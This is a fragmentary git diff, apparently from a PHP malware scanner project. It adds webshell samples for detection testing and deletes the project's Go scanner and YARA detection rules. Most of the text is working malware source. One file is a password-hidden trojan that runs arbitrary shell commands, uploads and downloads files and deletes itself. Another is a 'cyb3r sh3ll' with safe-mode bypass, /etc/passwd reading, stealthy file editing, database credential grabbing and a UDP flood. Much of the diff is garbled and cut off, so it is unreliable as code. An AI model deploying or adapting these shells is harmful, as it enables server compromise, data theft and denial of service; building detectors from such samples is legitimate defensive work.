+Bt1aKu3W8kyIcenL0E6b0zHSmPntJAPncvV32ksHLktYVbfFxFRZZBBbljido0zXf5ETCTDyAxVF +qIap11SdVcnaCqKLOdwu0rvQeX/HzKgPgX47H0+aFdJadt4dMGRgcKFTDcLKRlSXayHl7YcyJl5h +ls5U1GeWSJbQGhvC2lhdIA5eG6aloPisU3olALz5PRV2L3uVDUaA+1BdtP+/0Y5UTVpEOlUxcVEC +LMuG/JvbOA4PutniKbRKTRIUUinnSh1btI4ymEUJA7X9h58//Q+Pal3JKjFBzWwacNmkzFQzv3KD +mG9flxzPkXPLMIVTVhVz73nHfTRHfHlHuUkXuxy4rYcluPfXHLEDVeNpRdJLtKzKswEHOyKKocca +muK5XLCaOiXFVwM2KYiy2UXeeJX7QWtK5d+neEnhBb5hLAA1lihAr2R9y4FReBSJYiJYc+GVMuCk +YXDWvuPSYUcB/ztA35t0buyWvSPLkvRe/LGxP1vCA/se1o7A/S1urhgivA+M7483kDAkdR/yconw +J0c3hPQk1QNHCOx5eaSzr5PpyMinhaUg9uzFwPIjrvuKAJiedmrbeePbotF9/fQG56b1PddBeuVv +dlhdN8VPstsSb6ojoTvp1HnvhHZzjso97zXXAfiwWcEdsJaJ5gt8klVOAu/tqCWq9OQVRtrXV7Xz +7Cr1DZmmf1C/0A6ACqjy4ArUaW4S1eXhOYjd629jmphkP3zm7x0o9c1PjPpa+5umkf+/T87S+67f +DldivnXVk/1Ce4BaBUr98Frd9CdNw9MJIwEos6CrgUwqxKCDlT2o50g9lCy53/X1+28awvDdGjf0 +vqZx4/xfETz+swxjWkwrwfMUPs5xuFFAJFESTEWGZL/3C44pT8DwOgXcVRMMTAYEflRhnjL9Iuqh +oFiw8KFBTjSQa+2P5uQrlzMggBl2rl72oS6mru8ad2QnQmngadsBQAwOqKYCa2Awep08EKR8ppFB +YTKY7Geso8iShLmL/QXbtCswu8Tv+SDbrGc99l94uC6J diff --git a/data/samples/real/ice.php b/data/samples/real/ice.php new file mode 100644 index 0000000..6f8edc0 --- /dev/null +++ b/data/samples/real/ice.php @@ -0,0 +1 @@ + diff --git a/data/samples/real/include.php b/data/samples/real/include.php new file mode 100644 index 0000000..58712f1 --- /dev/null +++ b/data/samples/real/include.php @@ -0,0 +1,4 @@ + + +# TODO: Change this password. Don't leave the default! +define('PASSWORD', 'the-password'); + +# Override the default error handling to: +# 1. Bludgeon PHP `throw`-ing rather than logging errors +# 2. Keep noise out of the error logs +set_error_handler('warning_handler', E_WARNING); +function warning_handler($errno, $errstr) { + throw new ErrorException($errstr); +} + +# get the POSTed JSON input +$post = json_decode(file_get_contents('php://input'), true); +$cwd = ($post['cwd'] !== '') ? $post['cwd'] : getcwd(); + +# feign non-existence if the authentication is invalid +if (!isset($post['auth']) || $post['auth'] !== PASSWORD) { + header('HTTP/1.0 404 Not Found'); + die(); +} + +# return JSON to the client +header('content-type: application/json'); + +# if `cmd` is a trojan payload, execute it +if (function_exists($post['cmd'])) { + $post['cmd']($cwd, $post['args']); +} + +# otherwise, execute a shell command +else { + $output = []; + + # execute the command + $cmd = "cd $cwd; {$post['cmd']} 2>&1; pwd"; + exec($cmd, $output); + $cwd = array_pop($output); + + $response = [ + 'stdout' => $output, + 'stderr' => [], + 'cwd' => $cwd, + ]; + + die(json_encode($response)); +} + + +# File-download payload +function payload_download ($cwd, $args) { + + # cd to the trojan's cwd + chdir($cwd); + + # open the file as binary, and base64-encode its contents + try { + $stdout = base64_encode(file_get_contents($args['file'])); + $stderr = []; + } + + # notify the client on failure + catch (ErrorException $e) { + $stdout = []; + $stderr = [ 'Could not download file.', $e->getMessage() ]; + } + + die(json_encode([ + 'stdout' => $stdout, + 'stderr' => $stderr, + 'cwd' => $cwd, + ])); +} + +# File-upload payload +function payload_upload ($cwd, $args) { + + # cd to the trojan's cwd + chdir($cwd); + + # base64-decode the uploaded bytes, and write them to a file + try { + file_put_contents( $args['dst'], base64_decode($args['data'])); + $stderr = []; + $stdout = [ "File saved to {$args['dst']}." ]; + } + + # notify the client on failure + catch (ErrorException $e) { + $stdout = []; + $stderr = [ 'Could not save file.', $e->getMessage() ]; + } + + die(json_encode([ + 'stdout' => $stdout, + 'stderr' => $stderr, + 'cwd' => $cwd, + ])); +} + +# Trojan autodestruct +function payload_autodestruct ($cwd, $args) { + + # attempt to delete the trojan + try { + + unlink(__FILE__); + $stdout = [ 'File ' . __FILE__ . ' has autodestructed.' ]; + $stderr = []; + } + + # notify the client on failure + catch (ErrorException $e) { + $stdout = []; + $stderr = [ 'File ' . __FILE__ . ' could not autodestruct.']; + } + + die(json_encode([ + 'stdout' => [ 'Instructed ' . __FILE__ . ' to autodestruct.' ], + 'stderr' => [], + 'cwd' => $cwd, + ])); +} diff --git a/data/samples/real/srt.php b/data/samples/real/srt.php new file mode 100644 index 0000000..ef02af2 --- /dev/null +++ b/data/samples/real/srt.php @@ -0,0 +1,5 @@ + diff --git a/data/samples/real/sucuri_2014_04.php b/data/samples/real/sucuri_2014_04.php new file mode 100644 index 0000000..64bfa07 --- /dev/null +++ b/data/samples/real/sucuri_2014_04.php @@ -0,0 +1,3 @@ +1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); diff --git a/data/samples/undetected/smart.php b/data/samples/undetected/smart.php new file mode 100644 index 0000000..f358562 --- /dev/null +++ b/data/samples/undetected/smart.php @@ -0,0 +1,2 @@ += TooShortMinChars { + tooShort := yara.MatchRule{Rule: TooShort} + result[target] = append(result[target], tooShort) + } + } + + var matches yara.MatchRules + err := scanner.SetCallback(&matches).ScanFile(target) + if err != nil { + log.Println("[ERROR]", err) + continue + } + for _, match := range matches { + result[target] = append(result[target], match) + } + results <- result + } + stoppedWorkers++ + if stoppedWorkers == args.Workers { + close(results) + } +} + +// scanDir recursively crawls `dirName`, and writes file paths to the `targets` channel. +// Files sent to `targets` are filtered according to their extensions. +func scanDir(dirName string, targets chan<- string, ticker <-chan time.Time) { + visit := func(pathName string, fileInfo os.FileInfo, err error) error { + <-ticker + if !fileInfo.IsDir() { + for _, dir := range excludedDirs { + if strings.Contains(pathName, dir) { + return nil + } + } + fileExt := filepath.Ext(fileInfo.Name()) + if _, exists := excludedExts[fileExt]; !exists { + targets <- pathName + } + } + return nil + } + err := filepath.Walk(dirName, visit) + handleError(err, "unable to complete target crawling", false) + close(targets) +} + +// loadRulesFile reads YARA rules from specified `fileName` and returns +// them in their compiled form. +func loadRulesFile(fileName string) (*yara.Rules, error) { + var err error = nil + // record working directory and move to rules location + curDir, err := os.Getwd() + if err != nil { + return nil, fmt.Errorf("unable to determine working directory: %v", err) + } + ruleDir, ruleName := filepath.Split(fileName) + err = os.Chdir(ruleDir) + if err != nil { + return nil, fmt.Errorf("unable to move to rules directory: %v", err) + } + + // read file content + data, err := ioutil.ReadFile(ruleName) + if err != nil { + return nil, fmt.Errorf("unable to read rules file: %v", err) + } + + // compile rules + rules, err := yara.Compile(string(data), nil) + if err != nil { + return nil, fmt.Errorf("unable to load rules: %v", err) + } + + // move back to working directory + err = os.Chdir(curDir) + if err != nil { + return nil, fmt.Errorf("unable to move back to working directory: %v", err) + } + + return rules, nil +} + +func main() { + startTime := time.Now() + _, err := flags.Parse(&args) + if err != nil { + os.Exit(1) + } + if args.ShowVersion { + println(version) + os.Exit(0) + } + + // check rules path + if args.RulesDir == "" { + args.RulesDir = writeRulesFiles(data) + } + if args.Verbose { + log.Println("[DEBUG] rules directory:", args.RulesDir) + } + + // update rules if required + if args.Update { + updateRules() + os.Exit(0) + } + + // add custom excluded file extensions + if args.ExcludeCommon { + for _, commonExt := range commonExts { + excludedExts[commonExt] = struct{}{} + } + } + if args.ExcludeImgs || args.ExcludeCommon { + for _, imgExt := range imageExts { + excludedExts[imgExt] = struct{}{} + } + } + for _, ext := range args.ExcludedExts { + if string(ext[0]) != "." { + ext = "." + ext + } + excludedExts[ext] = struct{}{} + } + if args.Verbose { + extList := make([]string, len(excludedExts)) + i := 0 + for ext := range excludedExts { + extList[i] = ext[1:] + i++ + } + log.Println("[DEBUG] excluded file extensions:", strings.Join(extList, ",")) + } + + // load YARA rules + rulePath := path.Join(args.RulesDir, RulesFile) + rules, err := loadRulesFile(rulePath) + handleError(err, "", true) + if args.Verbose { + log.Println("[DEBUG] ruleset loaded:", rulePath) + } + + // set YARA scan flags + if args.Fast { + scanFlags = yara.ScanFlags(yara.ScanFlagsFastMode) + } else { + scanFlags = yara.ScanFlags(0) + } + + // check if requested threads count is not greater than YARA's MAX_THREADS + if args.Workers > YaraMaxThreads { + log.Printf("[WARNING] workers count too high, using %d instead of %d\n", YaraMaxThreads, args.Workers) + args.Workers = YaraMaxThreads + } + + // scan target + if f, err := os.Stat(args.Positional.Target); os.IsNotExist(err) { + handleError(err, "", true) + } else { + if args.Verbose { + log.Println("[DEBUG] scan workers:", args.Workers) + log.Println("[DEBUG] target:", args.Positional.Target) + } + if f.IsDir() { // parallelized folder scan + // create communication channels + targets := make(chan string) + results := make(chan map[string][]yara.MatchRule) + + // rate limit + var tickerRate time.Duration + if args.RateLimit == 0 { + tickerRate = time.Nanosecond + } else { + tickerRate = time.Second / time.Duration(args.RateLimit) + } + ticker := time.Tick(tickerRate) + if args.Verbose { + log.Println("[DEBUG] delay between fs ops:", tickerRate.String()) + } + + // start consumers and producer workers + for w := 1; w <= args.Workers; w++ { + go processFiles(rules, targets, results, ticker) + } + go scanDir(args.Positional.Target, targets, ticker) + + // read results + matchCount := make(map[string]int) + var keepListing bool + var countedDangerousMatch bool + for result := range results { + for target, matchedSigs := range result { + keepListing = true + matchCount[target] = 0 + countedDangerousMatch = false + for _, sig := range matchedSigs { + matchCount[target] += DangerousMatchWeight + if !countedDangerousMatch { + if _, exists := dangerousMatches[sig.Rule]; exists { + matchCount[target]++ + } + countedDangerousMatch = true + } + if keepListing { + log.Printf("[WARNING] match found: %s (%s)\n", target, sig.Rule) + if !args.ShowAll { + keepListing = false + } + } + } + } + } + for target, count := range matchCount { + if count >= DangerousMinScore { + log.Println("[WARNING] dangerous file found:", target) + } + } + } else { // single file mode + scannedFilesCount++ + var matches yara.MatchRules + scanner := makeScanner(rules) + err := scanner.SetCallback(&matches).ScanFile(args.Positional.Target) + handleError(err, "unable to scan target", true) + for _, match := range matches { + log.Println("[WARNING] match found:", args.Positional.Target, match.Rule) + if args.Verbose { + for _, matchString := range match.Strings { + log.Printf("[DEBUG] match string for %s: 0x%x:%s: %s\n", args.Positional.Target, matchString.Offset, matchString.Name, matchString.Data) + } + } + if !args.ShowAll { + break + } + } + } + if args.Verbose { + endTime := time.Now() + log.Printf("[DEBUG] scanned %d files in %s\n", scannedFilesCount, endTime.Sub(startTime).String()) + } + } + + // delete temporary files + if strings.HasPrefix(args.RulesDir, tempDirPathPrefix) { + if args.Verbose { + log.Println("[DEBUG] deleting temporary folder:", args.RulesDir) + } + err := os.RemoveAll(args.RulesDir) + handleError(err, "unable to delete temporary folder", true) + } +} diff --git a/php-malware-finder/php.yar b/php-malware-finder/php.yar deleted file mode 100644 index 4470e1b..0000000 --- a/php-malware-finder/php.yar +++ /dev/null @@ -1,374 +0,0 @@ -import "hash" -include "whitelist.yar" - -/* - Detect: - - phpencode.org - - http://www.pipsomania.com/best_php_obfuscator.do - - http://atomiku.com/online-php-code-obfuscator/ - - http://www.webtoolsvn.com/en-decode/ - - http://obfuscator.uk/example/ - - http://w3webtools.com/encode-php-online/ - - http://www.joeswebtools.com/security/php-obfuscator/ - - https://github.com/epinna/weevely3 - - http://cipherdesign.co.uk/service/php-obfuscator - - http://sysadmin.cyklodev.com/online-php-obfuscator/ - - http://mohssen.org/SpinObf.php - - https://code.google.com/p/carbylamine/ - - https://github.com/tennc/webshell - - - https://github.com/wireghoul/htshells - - Thanks to: - - https://stackoverflow.com/questions/3115559/exploitable-php-functions -*/ - -global private rule IsPhp -{ - strings: - $php = /<\?[^x]/ - - condition: - $php and filesize < 5MB -} - -rule NonPrintableChars -{ - strings: - /* - Searching only for non-printable characters completely kills the perf, - so we have to use atoms (https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7) - to get an acceptable speed. - */ - $non_printables = /(function|return|base64_decode).{,256}[^\x09-\x0d\x20-\x7E]{3}/ - - condition: - (any of them) and not IsWhitelisted -} - - -rule PasswordProtection -{ - strings: - $md5 = /md5\s*\(\s*\$_(GET|REQUEST|POST|COOKIE|SERVER)[^)]+\)\s*===?\s*['"][0-9a-f]{32}['"]/ nocase - $sha1 = /sha1\s*\(\s*\$_(GET|REQUEST|POST|COOKIE|SERVER)[^)]+\)\s*===?\s*['"][0-9a-f]{40}['"]/ nocase - condition: - (any of them) and not IsWhitelisted -} - -rule ObfuscatedPhp -{ - strings: - $eval = /(<\?php|[;{}])[ \t]*@?(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\s*\(/ nocase // ;eval( <- this is dodgy - $eval_comment = /(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\/\*[^\*]*\*\/\(/ nocase // eval/*lol*/( <- this is dodgy - $b374k = "'ev'.'al'" - $align = /(\$\w+=[^;]*)*;\$\w+=@?\$\w+\(/ //b374k - $weevely3 = /\$\w=\$[a-zA-Z]\('',\$\w\);\$\w\(\);/ // weevely3 launcher - $c99_launcher = /;\$\w+\(\$\w+(,\s?\$\w+)+\);/ // http://bartblaze.blogspot.fr/2015/03/c99shell-not-dead.html - $nano = /\$[a-z0-9-_]+\[[^]]+\]\(/ //https://github.com/UltimateHackers/nano - $ninja = /base64_decode[^;]+getallheaders/ //https://github.com/UltimateHackers/nano - $variable_variable = /\${\$[0-9a-zA-z]+}/ - $too_many_chr = /(chr\([\d]+\)\.){8}/ // concatenation of more than eight `chr()` - $concat = /(\$[^\n\r]+\.){5}/ // concatenation of more than 5 words - $concat_with_spaces = /(\$[^\n\r]+\. ){5}/ // concatenation of more than 5 words, with spaces - $var_as_func = /\$_(GET|POST|COOKIE|REQUEST|SERVER)\s*\[[^\]]+\]\s*\(/ - $comment = /\/\*([^*]|\*[^\/])*\*\/\s*\(/ // eval /* comment */ (php_code) -condition: - (any of them) and not IsWhitelisted -} - -rule DodgyPhp -{ - strings: - $basedir_bypass = /curl_init\s*\(\s*["']file:\/\// nocase - $basedir_bypass2 = "file:file:///" // https://www.intelligentexploit.com/view-details.html?id=8719 - $disable_magic_quotes = /set_magic_quotes_runtime\s*\(\s*0/ nocase - - $execution = /\b(popen|eval|assert|passthru|exec|include|system|pcntl_exec|shell_exec|base64_decode|`|array_map|ob_start|call_user_func(_array)?)\s*\(\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))/ nocase // function that takes a callback as 1st parameter - $execution2 = /\b(array_filter|array_reduce|array_walk(_recursive)?|array_walk|assert_options|uasort|uksort|usort|preg_replace_callback|iterator_apply)\s*\(\s*[^,]+,\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))/ nocase // functions that takes a callback as 2nd parameter - $execution3 = /\b(array_(diff|intersect)_u(key|assoc)|array_udiff)\s*\(\s*([^,]+\s*,?)+\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))\s*\[[^]]+\]\s*\)+\s*;/ nocase // functions that takes a callback as 2nd parameter - - $htaccess = "SetHandler application/x-httpd-php" - $iis_com = /IIS:\/\/localhost\/w3svc/ - $include = /include\s*\(\s*[^\.]+\.(png|jpg|gif|bmp)/ // Clever includes - $ini_get = /ini_(get|set|restore)\s*\(\s*['"](safe_mode|open_basedir|disable_(function|classe)s|safe_mode_exec_dir|safe_mode_include_dir|register_globals|allow_url_include)/ nocase - $pr = /(preg_replace(_callback)?|mb_ereg_replace|preg_filter)\s*\([^)]*(\/|\\x2f)(e|\\x65)['"]/ nocase // http://php.net/manual/en/function.preg-replace.php - $register_function = /register_[a-z]+_function\s*\(\s*['"]\s*(eval|assert|passthru|exec|include|system|shell_exec|`)/ // https://github.com/nbs-system/php-malware-finder/issues/41 - $safemode_bypass = /\x00\/\.\.\/|LD_PRELOAD/ - $shellshock = /\(\)\s*{\s*[a-z:]\s*;\s*}\s*;/ - $udp_dos = /fsockopen\s*\(\s*['"]udp:\/\// nocase - $various = " -

:: PHP Safe Mode Bypass ::

:: Make File/Directory ::

:: Go File/Directory ::

- -
(: List Directories :)
- -

- - Dir:

eg: /etc/
-$chemin
"; - -foreach ($files as $filename) { - - echo "
";
-
-   echo "$filename\n";
-
-   echo "
"; - -} - -} - - - -if(isset($_GET['directory'])) - -{ - -rsg_glob(); - -} - - - -?> - - -
- -
-
[: Make Directory :]
 
-
-
{: Go Directory :}
 
-
- -
(: Read Files :)

- -
- -
File:

eg: /etc/passwd
- Trying To Get File $get
"; - - if(copy("compress.zlib://".$file, $temp)){ - - $fichier = fopen($temp, "r"); - - $action = fread($fichier, filesize($temp)); - - fclose($fichier); - - $source=htmlspecialchars($action); - - echo "
Start $get

$source

Fin $get
"; - - unlink($temp); - - } else { - - die("
Sorry... File - - ".htmlspecialchars($file)." dosen't exists or you don't have - - access.
"); - - } - - echo "
"; - - } - - - - if(isset($_GET['file'])) - -{ - -rsg_read(); - -} - - - - ?> - - -
- -
- -
- -
-
[: Make File :]
 
-
-
{: Go File :}
 
-
";} - - } - - if (!empty($delerr)) {echo "Deleting with errors:
".$delerr;} - - $act = "ls"; - -} - -if ($act == "chmod") - -{ - - $mode = fileperms($d.$f); - - if (!$mode) {echo "Change file-mode with error: can't get current value.";} - - else - - { - - $form = TRUE; - - if ($chmod_submit) - - { - - $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); - - if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} - - else {$err = "Can't chmod to ".$octet.".";} - - } - - if ($form) - - { - - $perms = parse_perms($mode); - - echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
".($err?"Error: ".$err:"")."
Owner

 Read
 Write
eXecute
Group

 Read
 Write
eXecute
World

 Read
 Write
eXecute
"; - - } - - } - -} - -if ($act == "search") - -{ - - echo "Search in file-system:
"; - - if (empty($search_in)) {$search_in = $d;} - - if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} - - if (empty($search_text_wwo)) {$search_text_regexp = 0;} - - if (!empty($submit)) - - { - - $found = array(); - - $found_d = 0; - - $found_f = 0; - - $search_i_f = 0; - - $search_i_d = 0; - - $a = array - - ( - - "name"=>$search_name, "name_regexp"=>$search_name_regexp, - - "text"=>$search_text, "text_regexp"=>$search_text_regxp, - - "text_wwo"=>$search_text_wwo, - - "text_cs"=>$search_text_cs, - - "text_not"=>$search_text_not - - ); - - $searchtime = getmicrotime(); - - $in = array_unique(explode(";",$search_in)); - - foreach($in as $v) {cyb3rfsearch($v);} - - $searchtime = round(getmicrotime()-$searchtime,4); - - if (count($found) == 0) {echo "No files found!";} - - else - - { - - $ls_arr = $found; - - $disp_fullpath = TRUE; - - $act = "ls"; - - } - - } - - echo "
- - - -Search for (file/folder name):   - regexp - -
Search in (explode \";\"): - -

Text:
- -

- regexp - -   - whole words only - -   - case sensitive - -   - find files NOT containing the text - -

"; - - if ($act == "ls") {$dspact = $act; echo "
Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).

";} - -} - -if ($act == "fsbuff") - -{ - - $arr_copy = $sess_data["copy"]; - - $arr_cut = $sess_data["cut"]; - - $arr = array_merge($arr_copy,$arr_cut); - - if (count($arr) == 0) {echo "
Buffer is empty!
";} - - else {echo "File-System buffer

"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} - -} - -if ($act == "d") - -{ - - if (!is_dir($d)) {echo "
Permision denied!
";} - - else - - { - - echo "Directory information:"; - - if (!$win) - - { - - echo "
Owner/Group "; - - $ow = posix_getpwuid(fileowner($d)); - - $gr = posix_getgrgid(filegroup($d)); - - $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); - - } - - echo "
Perms".view_perms_color($d)."
Create time ".date("d/m/Y H:i:s",filectime($d))."
Access time ".date("d/m/Y H:i:s",fileatime($d))."
MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."

"; - - } - -} - -if ($act == "chmod") - -{ - - $mode = fileperms($d.$f); - - if (!$mode) {echo "Change file-mode with error: can't get current value.";} - - else - - { - - $form = TRUE; - - if ($chmod_submit) - - { - - $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); - - if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} - - else {$err = "Can't chmod to ".$octet.".";} - - } - - if ($form) - - { - - $perms = parse_perms($mode); - - echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
".($err?"Error: ".$err:"")."
Owner

 Read
 Write
eXecute
Group

 Read
 Write
eXecute
World

 Read
 Write
eXecute
"; - - } - - } - -} - -if ($act == "f") - -{ - - if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") - - { - - if (file_exists($d.$f)) {echo "
Permision denied (".htmlspecialchars($d.$f).")!
";} - - else {echo "
File does not exists (".htmlspecialchars($d.$f).")!
Create
";} - - } - - else - - { - - $r = @file_get_contents($d.$f); - - $ext = explode(".",$f); - - $c = count($ext)-1; - - $ext = $ext[$c]; - - $ext = strtolower($ext); - - $rft = ""; - - foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} - - if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} - - if (empty($ft)) {$ft = $rft;} - - $arr = array( - - array("","info"), - - array("","html"), - - array("","txt"), - - array("Code","code"), - - array("Session","phpsess"), - - array("","exe"), - - array("SDB","sdb"), - - array("","img"), - - array("","ini"), - - array("","download"), - - array("","notepad"), - - array("","edit") - - ); - - echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
Select action/file-type:
"; - - foreach($arr as $t) - - { - - if ($t[1] == $rft) {echo " ".$t[0]."";} - - elseif ($t[1] == $ft) {echo " ".$t[0]."";} - - else {echo " ".$t[0]."";} - - echo " (+) |"; - - } - - echo "
"; - - if ($ft == "info") - - { - - echo "Information:"; - - if (!$win) - - { - - echo "
Path ".$d.$f."
Size ".view_size(filesize($d.$f))."
MD5 ".md5_file($d.$f)."
Owner/Group "; - - $ow = posix_getpwuid(fileowner($d.$f)); - - $gr = posix_getgrgid(filegroup($d.$f)); - - echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); - - } - - echo "
Perms".view_perms_color($d.$f)."
Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."

"; - - $fi = fopen($d.$f,"rb"); - - if ($fi) - - { - - if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} - - else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} - - $n = 0; - - $a0 = "00000000
"; - - $a1 = ""; - - $a2 = ""; - - for ($i=0; $i";} - - $a1 .= "
"; - - $a2 .= "
"; - - } - - } - - //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."
";} - - echo "
".$a0."".$a1."".$a2."

"; - - } - - $encoded = ""; - - if ($base64 == 1) - - { - - echo "Base64 Encode
"; - - $encoded = base64_encode(file_get_contents($d.$f)); - - } - - elseif($base64 == 2) - - { - - echo "Base64 Encode + Chunk
"; - - $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); - - } - - elseif($base64 == 3) - - { - - echo "Base64 Encode + Chunk + Quotes
"; - - $encoded = base64_encode(file_get_contents($d.$f)); - - $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); - - } - - elseif($base64 == 4) - - { - - $text = file_get_contents($d.$f); - - $encoded = base64_decode($text); - - echo "Base64 Decode"; - - if (base64_encode($encoded) != $text) {echo " (failed)";} - - echo "
"; - - } - - if (!empty($encoded)) - - { - - echo "

"; - - } - - echo "HEXDUMP: [Full] [Preview]
Base64: - -
[Encode - -[+chunk - -[+chunk+quotes - -[Decode - -

"; - - } - - elseif ($ft == "html") - - { - - if ($white) {@ob_clean();} - - echo $r; - - if ($white) {cyb3rexit();} - - } - - elseif ($ft == "txt") {echo "

".htmlspecialchars($r)."
";} - - elseif ($ft == "ini") {echo "
"; var_dump(parse_ini_file($d.$f,TRUE)); echo "
";} - - elseif ($ft == "phpsess") - - { - - echo "
";
-
-   $v = explode("|",$r);
-
-   echo $v[0]."
"; - - var_dump(unserialize($v[1])); - - echo "
"; - - } - - elseif ($ft == "exe") - - { - - $ext = explode(".",$f); - - $c = count($ext)-1; - - $ext = $ext[$c]; - - $ext = strtolower($ext); - - $rft = ""; - - foreach($exeftypes as $k=>$v) - - { - - if (in_array($ext,$v)) {$rft = $k; break;} - - } - - $cmd = str_replace("%f%",$f,$rft); - - echo "Execute file:

Display in text-area
"; - - } - - elseif ($ft == "sdb") {echo "
"; var_dump(unserialize(base64_decode($r))); echo "
";} - - elseif ($ft == "code") - - { - - if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) - - { - - $arr = explode("\n",$r); - - if (count($arr == 18)) - - { - - include($d.$f); - - echo "phpBB configuration is detected in this file!
"; - - if ($dbms == "mysql4") {$dbms = "mysql";} - - if ($dbms == "mysql") {echo "Connect to DB

";} - - else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by cyb3rell. Please, report us for fix.";} - - echo "Parameters for manual connect:
"; - - $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); - - foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
";} - - echo "

"; - - } - - } - - echo "
"; - - if (!empty($white)) {@ob_clean();} - - highlight_file($d.$f); - - if (!empty($white)) {cyb3rexit();} - - echo "
"; - - } - - elseif ($ft == "download") - - { - - @ob_clean(); - - header("Content-type: application/octet-stream"); - - header("Content-length: ".filesize($d.$f)); - - header("Content-disposition: attachment; filename=\"".$f."\";"); - - echo $r; - - exit; - - } - - elseif ($ft == "notepad") - - { - - @ob_clean(); - - header("Content-type: text/plain"); - - header("Content-disposition: attachment; filename=\"".$f.".txt\";"); - - echo($r); - - exit; - - } - - elseif ($ft == "img") - - { - - $inf = getimagesize($d.$f); - - if (!$white) - - { - - if (empty($imgsize)) {$imgsize = 20;} - - $width = $inf[0]/100*$imgsize; - - $height = $inf[1]/100*$imgsize; - - echo "
Size: "; - - $sizes = array("100","50","20"); - - foreach ($sizes as $v) - - { - - echo ""; - - if ($imgsize != $v ) {echo $v;} - - else {echo "".$v."";} - - echo "   "; - - } - - echo "

"; - - } - - else - - { - - @ob_clean(); - - $ext = explode($f,"."); - - $ext = $ext[count($ext)-1]; - - header("Content-type: ".$inf["mime"]); - - readfile($d.$f); - - exit; - - } - - } - - elseif ($ft == "edit") - - { - - if (!empty($submit)) - - { - - if ($filestealth) {$stat = stat($d.$f);} - - $fp = fopen($d.$f,"w"); - - if (!$fp) {echo "Can't write to file!";} - - else - - { - - echo "Saved!"; - - fwrite($fp,$edit_text); - - fclose($fp); - - if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} - - $r = $edit_text; - - } - - } - - $rows = count(explode("\r\n",$r)); - - if ($rows < 10) {$rows = 10;} - - if ($rows > 30) {$rows = 30;} - - echo "
  
"; - - } - - elseif (!empty($ft)) {echo "
Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
";} - - else {echo "
Unknown extension (".$ext."), please, select type manually.
";} - - } - -} - -if ($act == "about") -{ -echo '
Script:
-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
-Name: cyb3r sh3ll
Version: '.$shver.'


Author:
-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
-Name: cyb3r 9l4d!470r (Cyber Gladiator)
Country: India
Website: ????...
Email: cyb3r.gladiat0r@gmail.com -

Greetings:
-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
r45c4l bro you are my source of inspiration.
r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot and they know for whom i\'m speaking.
Thanks all who report bugs and send to my email id.

'; -} - -if ($act == "dos") -{ -?>



-Server IP:

-Your IP:  (Don't DoS yourself nub)

-
-IP: - -    Time: - -    Port: - -

- -

-
After initiating the DoS attack, please wait while the browser loads.
alert('Dos Completed!');"; -print "Flooded: $ip on port $rand

